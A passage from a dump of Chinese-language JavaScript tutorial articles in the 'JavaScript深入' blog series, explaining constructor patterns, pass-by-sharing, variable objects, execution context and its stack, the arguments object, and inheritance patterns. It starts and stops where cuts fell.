this.getName != "function") { Person.prototype = { constructor: Person, getName: function () { console.log(this.name); } } return new Person(name); } } var person1 = new Person('kevin'); var person2 = new Person('daisy'); person1.getName(); // kevin person2.getName(); // daisy ``` ### 5.1 寄生构造函数模式 ```js function Person(name) { var o = new Object(); o.name = name; o.getName = function () { console.log(this.name); }; return o; } var person1 = new Person('kevin'); console.log(person1 instanceof Person) // false console.log(person1 instanceof Object) // true ``` 寄生构造函数模式,我个人认为应该这样读: 寄生-构造函数-模式,也就是说寄生在构造函数的一种方法。 也就是说打着构造函数的幌子挂羊头卖狗肉,你看创建的实例使用 instanceof 都无法指向构造函数! 这样方法可以在特殊情况下使用。比如我们想创建一个具有额外方法的特殊数组,但是又不想直接修改Array构造函数,我们可以这样写: ```js function SpecialArray() { var values = new Array(); for (var i = 0, len = arguments.length; i < len; i++) { values.push(arguments[i]); } values.toPipedString = function () { return this.join("|"); }; return values; } var colors = new SpecialArray('red', 'blue', 'green'); var colors2 = SpecialArray('red2', 'blue2', 'green2'); console.log(colors); console.log(colors.toPipedString()); // red|blue|green console.log(colors2); console.log(colors2.toPipedString()); // red2|blue2|green2 ``` 你会发现,其实所谓的寄生构造函数模式就是比工厂模式在创建对象的时候,多使用了一个new,实际上两者的结果是一样的。 但是作者可能是希望能像使用普通 Array 一样使用 SpecialArray,虽然把 SpecialArray 当成函数也一样能用,但是这并不是作者的本意,也变得不优雅。 在可以使用其他模式的情况下,不要使用这种模式。 但是值得一提的是,上面例子中的循环: ```js for (var i = 0, len = arguments.length; i < len; i++) { values.push(arguments[i]); } ``` 可以替换成: ```js values.push.apply(values, arguments); ``` ## 5.2 稳妥构造函数模式 ```js function person(name){ var o = new Object(); o.sayName = function(){ console.log(name); }; return o; } var person1 = person('kevin'); person1.sayName(); // kevin person1.name = "daisy"; person1.sayName(); // kevin console.log(person1.name); // daisy ``` 所谓稳妥对象,指的是没有公共属性,而且其方法也不引用 this 的对象。 与寄生构造函数模式有两点不同: 1. 新创建的实例方法不引用 this 2. 不使用 new 操作符调用构造函数 稳妥对象最适合在一些安全的环境中。 稳妥构造函数模式也跟工厂模式一样,无法识别对象所属类型。 ## 下一篇文章 [JavaScript深入之继承的多种方式和优缺点](https://github.com/mqyqingfeng/Blog/issues/16) ## 相关链接 [《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2) [《JavaScript深入之new的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/13) [《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之参数按值传递.md ================================================ # JavaScript深入之参数按值传递 > JavaScript深入系列第九篇,除了按值传递、引用传递,还有第三种传递方式 —— 按共享传递 ## 定义 在《JavaScript高级程序设计》第三版 4.1.3,讲到传递参数: >ECMAScript中所有函数的参数都是按值传递的。 什么是按值传递呢? >也就是说,把函数外部的值复制给函数内部的参数,就和把值从一个变量复制到另一个变量一样。 ## 按值传递 举个简单的例子: ```js var value = 1; function foo(v) { v = 2; console.log(v); //2 } foo(value); console.log(value) // 1 ``` 很好理解,当传递 value 到函数 foo 中,相当于拷贝了一份 value,假设拷贝的这份叫 _value,函数中修改的都是 _value 的值,而不会影响原来的 value 值。 ## 引用传递 拷贝虽然很好理解,但是当值是一个复杂的数据结构的时候,拷贝就会产生性能上的问题。 所以还有另一种传递方式叫做按引用传递。 所谓按引用传递,就是传递对象的引用,函数内部对参数的任何改变都会影响该对象的值,因为两者引用的是同一个对象。 举个例子: ```js var obj = { value: 1 }; function foo(o) { o.value = 2; console.log(o.value); //2 } foo(obj); console.log(obj.value) // 2 ``` 哎,不对啊,连我们的红宝书都说了 ECMAScript 中所有函数的参数都是按值传递的,这怎么能按引用传递成功呢? 而这究竟是不是引用传递呢? ## 第三种传递方式 不急,让我们再看个例子: ```js var obj = { value: 1 }; function foo(o) { o = 2; console.log(o); //2 } foo(obj); console.log(obj.value) // 1 ``` 如果 JavaScript 采用的是引用传递,外层的值也会被修改呐,这怎么又没被改呢?所以真的不是引用传递吗? 这就要讲到其实还有第三种传递方式,叫按共享传递。 而共享传递是指,在传递对象的时候,传递对象的引用的副本。 **注意: 按引用传递是传递对象的引用,而按共享传递是传递对象的引用的副本!** 所以修改 o.value,可以通过引用找到原值,但是直接修改 o,并不会修改原值。所以第二个和第三个例子其实都是按共享传递。 最后,你可以这样理解: 参数如果是基本类型是按值传递,如果是引用类型按共享传递。 但是因为拷贝副本也是一种值的拷贝,所以在高程中也直接认为是按值传递了。 所以,高程,谁叫你是红宝书嘞! ## 下一篇文章 [JavaScript深入之call和apply的模拟实现](https://github.com/mqyqingfeng/Blog/issues/11) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之变量对象.md ================================================ # JavaScript深入之变量对象 >JavaScript深入系列第四篇,具体讲解执行上下文中的变量对象与活动对象。全局上下文下的变量对象是什么?函数上下文下的活动对象是如何分析和执行的?还有两个思考题帮你加深印象,快来看看吧! ## 前言 在上篇[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中讲到,当 JavaScript 代码执行一段可执行代码(executable code)时,会创建对应的执行上下文(execution context)。 对于每个执行上下文,都有三个重要属性: * 变量对象(Variable object,VO) * 作用域链(Scope chain) * this 今天重点讲讲创建变量对象的过程。 ## 变量对象 变量对象是与执行上下文相关的数据作用域,存储了在上下文中定义的变量和函数声明。 因为不同执行上下文下的变量对象稍有不同,所以我们来聊聊全局上下文下的变量对象和函数上下文下的变量对象。 ## 全局上下文 我们先了解一个概念,叫全局对象。在 [W3School](http://www.w3school.com.cn/jsref/jsref_obj_global.asp) 中也有介绍: >全局对象是预定义的对象,作为 JavaScript 的全局函数和全局属性的占位符。通过使用全局对象,可以访问所有其他所有预定义的对象、函数和属性。 >在顶层 JavaScript 代码中,可以用关键字 this 引用全局对象。因为全局对象是作用域链的头,这意味着所有非限定性的变量和函数名都会作为该对象的属性来查询。 >例如,当JavaScript 代码引用 parseInt() 函数时,它引用的是全局对象的 parseInt 属性。全局对象是作用域链的头,还意味着在顶层 JavaScript 代码中声明的所有变量都将成为全局对象的属性。 如果看的不是很懂的话,容我再来介绍下全局对象: 1.可以通过 this 引用,在客户端 JavaScript 中,全局对象就是 Window 对象。 ```js console.log(this); ``` 2.全局对象是由 Object 构造函数实例化的一个对象。 ```js console.log(this instanceof Object); ``` 3.预定义了一堆,嗯,一大堆函数和属性。 ```js // 都能生效 console.log(Math.random()); console.log(this.Math.random()); ``` 4.作为全局变量的宿主。 ```js var a = 1; console.log(this.a); ``` 5.客户端 JavaScript 中,全局对象有 window 属性指向自身。 ```js var a = 1; console.log(window.a); this.window.b = 2; console.log(this.b); ``` 花了一个大篇幅介绍全局对象,其实就想说: 全局上下文中的变量对象就是全局对象呐! ## 函数上下文 在函数上下文中,我们用活动对象(activation object, AO)来表示变量对象。 活动对象和变量对象其实是一个东西,只是变量对象是规范上的或者说是引擎实现上的,不可在 JavaScript 环境中访问,只有到当进入一个执行上下文中,这个执行上下文的变量对象才会被激活,所以才叫 activation object 呐,而只有被激活的变量对象,也就是活动对象上的各种属性才能被访问。 活动对象是在进入函数上下文时刻被创建的,它通过函数的 arguments 属性初始化。arguments 属性值是 Arguments 对象。 ## 执行过程 执行上下文的代码会分成两个阶段进行处理:分析和执行,我们也可以叫做: 1. 进入执行上下文 2. 代码执行 ### 进入执行上下文 当进入执行上下文时,这时候还没有执行代码, 变量对象会包括: 1. 函数的所有形参 (如果是函数上下文) * 由名称和对应值组成的一个变量对象的属性被创建 * 没有实参,属性值设为 undefined 2. 函数声明 * 由名称和对应值(函数对象(function-object))组成一个变量对象的属性被创建 * 如果变量对象已经存在相同名称的属性,则完全替换这个属性 3. 变量声明 * 由名称和对应值(undefined)组成一个变量对象的属性被创建; * 如果变量名称跟已经声明的形式参数或函数相同,则变量声明不会干扰已经存在的这类属性 举个例子: ```js function foo(a) { var b = 2; function c() {} var d = function() {}; b = 3; } foo(1); ``` 在进入执行上下文后,这时候的 AO 是: ```js AO = { arguments: { 0: 1, length: 1 }, a: 1, b: undefined, c: reference to function c(){}, d: undefined } ``` ### 代码执行 在代码执行阶段,会顺序执行代码,根据代码,修改变量对象的值 还是上面的例子,当代码执行完后,这时候的 AO 是: ```js AO = { arguments: { 0: 1, length: 1 }, a: 1, b: 3, c: reference to function c(){}, d: reference to FunctionExpression "d" } ``` 到这里变量对象的创建过程就介绍完了,让我们简洁的总结我们上述所说: 1. 全局上下文的变量对象初始化是全局对象 2. 函数上下文的变量对象初始化只包括 Arguments 对象 3. 在进入执行上下文时会给变量对象添加形参、函数声明、变量声明等初始的属性值 4. 在代码执行阶段,会再次修改变量对象的属性值 ## 思考题 最后让我们看几个例子: 1.第一题 ```js function foo() { console.log(a); a = 1; } foo(); // ??? function bar() { a = 1; console.log(a); } bar(); // ??? ``` 第一段会报错:`Uncaught ReferenceError: a is not defined`。 第二段会打印:`1`。 这是因为函数中的 "a" 并没有通过 var 关键字声明,所有不会被存放在 AO 中。 第一段执行 console 的时候, AO 的值是: ```js AO = { arguments: { length: 0 } } ``` 没有 a 的值,然后就会到全局去找,全局也没有,所以会报错。 当第二段执行 console 的时候,全局对象已经被赋予了 a 属性,这时候就可以从全局找到 a 的值,所以会打印 1。 2.第二题 ```js console.log(foo); function foo(){ console.log("foo"); } var foo = 1; ``` 会打印函数,而不是 undefined 。 这是因为在进入执行上下文时,首先会处理函数声明,其次会处理变量声明,如果如果变量名称跟已经声明的形式参数或函数相同,则变量声明不会干扰已经存在的这类属性。 ## 下一篇文章 [《JavaScript深入之作用域链》](https://github.com/mqyqingfeng/Blog/issues/6) ## 本文相关链接 [《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之执行上下文.md ================================================ # JavaScript深入之执行上下文 >JavaScript深入系列第七篇,结合之前所讲的四篇文章,以权威指南的demo为例,具体讲解当函数执行的时候,执行上下文栈、变量对象、作用域链是如何变化的。 # 前言 在[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中讲到,当 JavaScript 代码执行一段可执行代码(executable code)时,会创建对应的执行上下文(execution contexts)。 对于每个执行上下文,都有三个重要属性: * 变量对象(Variable object,VO) * 作用域链(Scope chain) * this 然后分别在[《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5)、[《JavaScript深入之作用域链》](https://github.com/mqyqingfeng/Blog/issues/6)、[《JavaScript深入之从ECMAScript规范解读this》](https://github.com/mqyqingfeng/Blog/issues/7)中讲解了这三个属性。 阅读本文前,如果对以上的概念不是很清楚,希望先阅读这些文章。 因为,这一篇,我们会结合着所有内容,讲讲执行上下文的具体处理过程。 ## 思考题 在[《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3)中,提出这样一道思考题: ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f(); } checkscope(); ``` ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f; } checkscope()(); ``` 两段代码都会打印'local scope'。虽然两段代码执行的结果一样,但是两段代码究竟有哪些不同呢? 紧接着就在下一篇[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中,讲到了两者的区别在于执行上下文栈的变化不一样,然而,如果是这样笼统的回答,依然显得不够详细,本篇就会详细的解析执行上下文栈和执行上下文的具体变化过程。 ## 具体执行分析 我们分析第一段代码: ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f(); } checkscope(); ``` 执行过程如下: 1.执行全局代码,创建全局执行上下文,全局上下文被压入执行上下文栈 ```js ECStack = [ globalContext ]; ``` 2.全局上下文初始化 ```js globalContext = { VO: [global, scope, checkscope], Scope: [globalContext.VO], this: globalContext.VO } ``` 2.初始化的同时,checkscope 函数被创建,保存作用域链到函数的内部属性[[scope]] ```js checkscope.[[scope]] = [ globalContext.VO ]; ``` 3.执行 checkscope 函数,创建 checkscope 函数执行上下文,checkscope 函数执行上下文被压入执行上下文栈 ```js ECStack = [ checkscopeContext, globalContext ]; ``` 4.checkscope 函数执行上下文初始化: 1. 复制函数 [[scope]] 属性创建作用域链, 2. 用 arguments 创建活动对象, 3. 初始化活动对象,即加入形参、函数声明、变量声明, 4. 将活动对象压入 checkscope 作用域链顶端。 同时 f 函数被创建,保存作用域链到 f 函数的内部属性[[scope]] ```js checkscopeContext = { AO: { arguments: { length: 0 }, scope: undefined, f: reference to function f(){} }, Scope: [AO, globalContext.VO], this: undefined } ``` 5.执行 f 函数,创建 f 函数执行上下文,f 函数执行上下文被压入执行上下文栈 ```js ECStack = [ fContext, checkscopeContext, globalContext ]; ``` 6.f 函数执行上下文初始化, 以下跟第 4 步相同: 1. 复制函数 [[scope]] 属性创建作用域链 2. 用 arguments 创建活动对象 3. 初始化活动对象,即加入形参、函数声明、变量声明 4. 将活动对象压入 f 作用域链顶端 ```js fContext = { AO: { arguments: { length: 0 } }, Scope: [AO, checkscopeContext.AO, globalContext.VO], this: undefined } ``` 7.f 函数执行,沿着作用域链查找 scope 值,返回 scope 值 8.f 函数执行完毕,f 函数上下文从执行上下文栈中弹出 ```js ECStack = [ checkscopeContext, globalContext ]; ``` 9.checkscope 函数执行完毕,checkscope 执行上下文从执行上下文栈中弹出 ```js ECStack = [ globalContext ]; ``` 第二段代码就留给大家去尝试模拟它的执行过程。 ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f; } checkscope()(); ``` 不过,在下一篇《JavaScript深入之闭包》中也会提及这段代码的执行过程。 ## 下一篇文章 [《JavaScript深入之闭包》](https://github.com/mqyqingfeng/Blog/issues/9) ## 相关链接 [《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3) [《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4) [《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5) [《JavaScript深入之作用域链》](https://github.com/mqyqingfeng/Blog/issues/6) [《JavaScript深入之从ECMAScript规范解读this》](https://github.com/mqyqingfeng/Blog/issues/7) ## 重要参考 [《一道js面试题引发的思考》](https://github.com/kuitos/kuitos.github.io/issues/18) 本文写的太好,给了我很多启发。感激不尽! ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之执行上下文栈.md ================================================ # JavaScript深入之执行上下文栈 >JavaScript深入系列第三篇,讲解执行上下文栈的是如何执行的,也回答了第二篇中的略难的思考题。 ## 顺序执行? 如果要问到 JavaScript 代码执行顺序的话,想必写过 JavaScript 的开发者都会有个直观的印象,那就是顺序执行,毕竟: ```js var foo = function () { console.log('foo1'); } foo(); // foo1 var foo = function () { console.log('foo2'); } foo(); // foo2 ``` 然而去看这段代码: ```js function foo() { console.log('foo1'); } foo(); // foo2 function foo() { console.log('foo2'); } foo(); // foo2 ``` 打印的结果却是两个 `foo2`。 刷过面试题的都知道这是因为 JavaScript 引擎并非一行一行地分析和执行程序,而是一段一段地分析执行。当执行一段代码的时候,会进行一个“准备工作”,比如第一个例子中的变量提升,和第二个例子中的函数提升。 但是本文真正想让大家思考的是:这个“一段一段”中的“段”究竟是怎么划分的呢? 到底JavaScript引擎遇到一段怎样的代码时才会做“准备工作”呢? ## 可执行代码 这就要说到 JavaScript 的可执行代码(executable code)的类型有哪些了? 其实很简单,就三种,全局代码、函数代码、eval代码。 举个例子,当执行到一个函数的时候,就会进行准备工作,这里的“准备工作”,让我们用个更专业一点的说法,就叫做"执行上下文(execution context)"。 ## 执行上下文栈 接下来问题来了,我们写的函数多了去了,如何管理创建的那么多执行上下文呢? 所以 JavaScript 引擎创建了执行上下文栈(Execution context stack,ECS)来管理执行上下文 为了模拟执行上下文栈的行为,让我们定义执行上下文栈是一个数组: ```js ECStack = []; ``` 试想当 JavaScript 开始要解释执行代码的时候,最先遇到的就是全局代码,所以初始化的时候首先就会向执行上下文栈压入一个全局执行上下文,我们用 globalContext 表示它,并且只有当整个应用程序结束的时候,ECStack 才会被清空,所以 ECStack 最底部永远有个 globalContext: ```js ECStack = [ globalContext ]; ``` 现在 JavaScript 遇到下面的这段代码了: ```js function fun3() { console.log('fun3') } function fun2() { fun3(); } function fun1() { fun2(); } fun1(); ``` 当执行一个函数的时候,就会创建一个执行上下文,并且压入执行上下文栈,当函数执行完毕的时候,就会将函数的执行上下文从栈中弹出。知道了这样的工作原理,让我们来看看如何处理上面这段代码: ```js // 伪代码 // fun1() ECStack.push( functionContext); // fun1中竟然调用了fun2,还要创建fun2的执行上下文 ECStack.push( functionContext); // 擦,fun2还调用了fun3! ECStack.push( functionContext); // fun3执行完毕 ECStack.pop(); // fun2执行完毕 ECStack.pop(); // fun1执行完毕 ECStack.pop(); // javascript接着执行下面的代码,但是ECStack底层永远有个globalContext ``` ## 解答思考题 好啦,现在我们已经了解了执行上下文栈是如何处理执行上下文的,所以让我们看看上篇文章[《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3)最后的问题: ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f(); } checkscope(); ``` ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f; } checkscope()(); ``` 两段代码执行的结果一样,但是两段代码究竟有哪些不同呢? 答案就是执行上下文栈的变化不一样。 让我们模拟第一段代码: ```js ECStack.push( functionContext); ECStack.push( functionContext); ECStack.pop(); ECStack.pop(); ``` 让我们模拟第二段代码: ```js ECStack.push( functionContext); ECStack.pop(); ECStack.push( functionContext); ECStack.pop(); ``` 是不是有些不同呢? 当然了,这样概括的回答执行上下文栈的变化不同,是不是依然有一种意犹未尽的感觉呢,为了更详细讲解两个函数执行上的区别,我们需要探究一下执行上下文到底包含了哪些内容,所以欢迎阅读下一篇《JavaScript深入之变量对象》。 ## 下一篇文章 [《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之类数组对象与arguments.md ================================================ # JavaScript深入之类数组对象与arguments >JavaScript深入系列第十三篇,讲解类数组对象与对象的相似与差异以及arguments的注意要点 ## 类数组对象 所谓的类数组对象: >拥有一个 length 属性和若干索引属性的对象 举个例子: ```js var array = ['name', 'age', 'sex']; var arrayLike = { 0: 'name', 1: 'age', 2: 'sex', length: 3 } ``` 即便如此,为什么叫做类数组对象呢? 那让我们从读写、获取长度、遍历三个方面看看这两个对象。 ## 读写 ```js console.log(array[0]); // name console.log(arrayLike[0]); // name array[0] = 'new name'; arrayLike[0] = 'new name'; ``` ## 长度 ```js console.log(array.length); // 3 console.log(arrayLike.length); // 3 ``` ## 遍历 ```js for(var i = 0, len = array.length; i < len; i++) { …… } for(var i = 0, len = arrayLike.length; i < len; i++) { …… } ``` 是不是很像? 那类数组对象可以使用数组的方法吗?比如: ```js arrayLike.push('4'); ``` 然而上述代码会报错: arrayLike.push is not a function 所以终归还是类数组呐…… ## 调用数组方法 如果类数组就是任性的想用数组的方法怎么办呢? 既然无法直接调用,我们可以用 Function.call 间接调用: ```js var arrayLike = {0: 'name', 1: 'age', 2: 'sex', length: 3 } Array.prototype.join.call(arrayLike, '&'); // name&age&sex Array.prototype.slice.call(arrayLike, 0); // ["name", "age", "sex"] // slice可以做到类数组转数组 Array.prototype.map.call(arrayLike, function(item){ return item.toUpperCase(); }); // ["NAME", "AGE", "SEX"] ``` ## 类数组转对象 在上面的例子中已经提到了一种类数组转数组的方法,再补充三个: ```js var arrayLike = {0: 'name', 1: 'age', 2: 'sex', length: 3 } // 1. slice Array.prototype.slice.call(arrayLike); // ["name", "age", "sex"] // 2. splice Array.prototype.splice.call(arrayLike, 0); // ["name", "age", "sex"] // 3. ES6 Array.from Array.from(arrayLike); // ["name", "age", "sex"] // 4. apply Array.prototype.concat.apply([], arrayLike) ``` 那么为什么会讲到类数组对象呢?以及类数组有什么应用吗? 要说到类数组对象,Arguments 对象就是一个类数组对象。在客户端 JavaScript 中,一些 DOM 方法(document.getElementsByTagName()等)也返回类数组对象。 ## Arguments对象 接下来重点讲讲 Arguments 对象。 Arguments 对象只定义在函数体中,包括了函数的参数和其他属性。在函数体中,arguments 指代该函数的 Arguments 对象。 举个例子: ```js function foo(name, age, sex) { console.log(arguments); } foo('name', 'age', 'sex') ``` 打印结果如下: ![arguments](https://github.com/mqyqingfeng/Blog/raw/master/Images/arguments.png) 我们可以看到除了类数组的索引属性和length属性之外,还有一个callee属性,接下来我们一个一个介绍。 ## length属性 Arguments对象的length属性,表示实参的长度,举个例子: ```js function foo(b, c, d){ console.log("实参的长度为:" + arguments.length) } console.log("形参的长度为:" + foo.length) foo(1) // 形参的长度为:3 // 实参的长度为:1 ``` ## callee属性 Arguments 对象的 callee 属性,通过它可以调用函数自身。 讲个闭包经典面试题使用 callee 的解决方法: ```js var data = []; for (var i = 0; i < 3; i++) { (data[i] = function () { console.log(arguments.callee.i) }).i = i; } data[0](); data[1](); data[2](); // 0 // 1 // 2 ``` 接下来讲讲 arguments 对象的几个注意要点: ## arguments 和对应参数的绑定 ```js function foo(name, age, sex, hobbit) { console.log(name, arguments[0]); // name name // 改变形参 name = 'new name'; console.log(name, arguments[0]); // new name new name // 改变arguments arguments[1] = 'new age'; console.log(age, arguments[1]); // new age new age // 测试未传入的是否会绑定 console.log(sex); // undefined sex = 'new sex'; console.log(sex, arguments[2]); // new sex undefined arguments[3] = 'new hobbit'; console.log(hobbit, arguments[3]); // undefined new hobbit } foo('name', 'age') ``` 传入的参数,实参和 arguments 的值会共享,当没有传入时,实参与 arguments 值不会共享 除此之外,以上是在非严格模式下,如果是在严格模式下,实参和 arguments 是不会共享的。 ## 传递参数 将参数从一个函数传递到另一个函数 ```js // 使用 apply 将 foo 的参数传递给 bar function foo() { bar.apply(this, arguments); } function bar(a, b, c) { console.log(a, b, c); } foo(1, 2, 3) ``` ## 强大的ES6 使用ES6的 ... 运算符,我们可以轻松转成数组。 ```js function func(...arguments) { console.log(arguments); // [1, 2, 3] } func(1, 2, 3); ``` ## 应用 arguments的应用其实很多,在下个系列,也就是 JavaScript 专题系列中,我们会在 jQuery 的 extend 实现、函数柯里化、递归等场景看见 arguments 的身影。这篇文章就不具体展开了。 如果要总结这些场景的话,暂时能想到的包括: 1. 参数不定长 2. 函数柯里化 3. 递归调用 4. 函数重载 ... 欢迎留言回复。 ## 下一篇文章 [JavaScript深入之创建对象的多种方式以及优缺点](https://github.com/mqyqingfeng/Blog/issues/15) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之继承的多种方式和优缺点.md ================================================ # JavaScript深入之继承的多种方式和优缺点 > JavaScript深入系列第十五篇,讲解JavaScript各种继承方式和优缺点。 ## 写在前面 本文讲解JavaScript各种继承方式和优缺点。 但是注意: 这篇文章更像是笔记,哎,再让我感叹一句:《JavaScript高级程序设计》写得真是太好了! ## 1.原型链继承 ```js function Parent () { this.name = 'kevin'; } Parent.prototype.getName = function () { console.log(this.name); } function Child () { } Child.prototype = new Parent(); var child1 = new Child(); console.log(child1.getName()) // kevin ``` 问题: 1.引用类型的属性被所有实例共享,举个例子: ```js function Parent () { this.names = ['kevin', 'daisy']; } function Child () { } Child.prototype = new Parent(); var child1 = new Child(); child1.names.push('yayu'); console.log(child1.names); // ["kevin", "daisy", "yayu"] var child2 = new Child(); console.log(child2.names); // ["kevin", "daisy", "yayu"] ``` 2.在创建 Child 的实例时,不能向Parent传参 ## 2.借用构造函数(经典继承) ```js function Parent () { this.names = ['kevin', 'daisy']; } function Child () { Parent.call(this); } var child1 = new Child(); child1.names.push('yayu'); console.log(child1.names); // ["kevin", "daisy", "yayu"] var child2 = new Child(); console.log(child2.names); // ["kevin", "daisy"] ``` 优点: 1.避免了引用类型的属性被所有实例共享 2.可以在 Child 中向 Parent 传参 举个例子: ```js function Parent (name) { this.name = name; } function Child (name) { Parent.call(this, name); } var child1 = new Child('kevin'); console.log(child1.name); // kevin var child2 = new Child('daisy'); console.log(child2.name); // daisy ``` 缺点: 方法都在构造函数中定义,每次创建实例都会创建一遍方法。 ## 3.组合继承 原型链继承和经典继承双剑合璧。 ```js function Parent (name) { this.name = name; this.colors = ['red', 'blue', 'green']; } Parent.prototype.getName = function () { console.log(this.name) } function Child (name, age) { Parent.call(this, name); this.age = age; } Child.prototype = new Parent(); var child1 = new Child('kevin', '18'); child1.colors.push('black'); console.log(child1.name); // kevin console.log(child1.age); // 18 console.log(child1.colors); // ["red", "blue", "green", "black"] var child2 = new Child('daisy', '20'); console.log(child2.name); // daisy console.log(child2.age); // 20 console.log(child2.colors); // ["red", "blue", "green"] ``` 优点:融合原型链继承和构造函数的优点,是 JavaScript 中最常用的继承模式。 ## 4.原型式继承 ```js function createObj(o) { function F(){} F.prototype = o; return new F(); } ``` 就是 ES5 Object.create 的模拟实现,将传入的对象作为创建的对象的原型。 缺点: 包含引用类型的属性值始终都会共享相应的值,这点跟原型链继承一样。 ```js var person = { name: 'kevin', friends: ['daisy', 'kelly'] } var person1 = createObj(person); var person2 = createObj(person); person1.name = 'person1'; console.log(person2.name); // kevin person1.firends.push('taylor'); console.log(person2.friends); // ["daisy", "kelly", "taylor"] ``` 注意:修改`person1.name`的值,`person2.name`的值并未发生改变,并不是因为`person1`和`person2`有独立的 name 值,而是因为`person1.name = 'person1'`,给`person1`添加了 name 值,并非修改了原型上的 name 值。 ## 5. 寄生式继承 创建一个仅用于封装继承过程的函数,该函数在内部以某种形式来做增强对象,最后返回对象。 ```js function createObj (o) { var clone = object.create(o); clone.sayName = function () { console.log('hi'); } return clone; } ``` 缺点:跟借用构造函数模式一样,每次创建对象都会创建一遍方法。 ## 6. 寄生组合式继承 为了方便大家阅读,在这里重复一下组合继承的代码: ```js function Parent (name) { this.name = name; this.colors = ['red', 'blue', 'green']; } Parent.prototype.getName = function () { console.log(this.name) } function Child (name, age) { Parent.call(this, name); this.age = age; } Child.prototype = new Parent(); var child1 = new Child('kevin', '18'); console.log(child1) ``` 组合继承最大的缺点是会调用两次父构造函数。 一次是设置子类型实例的原型的时候: ```js Child.prototype = new Parent(); ``` 一次在创建子类型实例的时候: ```js var child1 = new Child('kevin', '18'); ``` 回想下 new 的模拟实现,其实在这句中,我们会执行: ```js Parent.call(this, name); ``` 在这里,我们又会调用了一次 Parent 构造函数。 所以,在这个例子中,如果我们打印 child1 对象,我们会发现 Child.prototype 和 child1 都有一个属性为`colors`,属性值为`['red', 'blue', 'green']`。 那么我们该如何精益求精,避免这一次重复调用呢? 如果我们不使用 Child.prototype = new Parent() ,而是间接的让 Child.prototype 访问到 Parent.prototype 呢? 看看如何实现: ```js function Parent (name) { this.name = name; this.colors = ['red', 'blue', 'green']; } Parent.prototype.getName = function () { console.log(this.name) } function Child (name, age) { Parent.call(this, name); this.age = age; } // 关键的三步 var F = function () {}; F.prototype = Parent.prototype; Child.prototype = new F(); var child1 = new Child('kevin', '18'); console.log(child1); ``` 最后我们封装一下这个继承方法: ```js function object(o) { function F() {} F.prototype = o; return new F(); } function prototype(child, parent) { var prototype = object(parent.prototype); prototype.constructor = child; 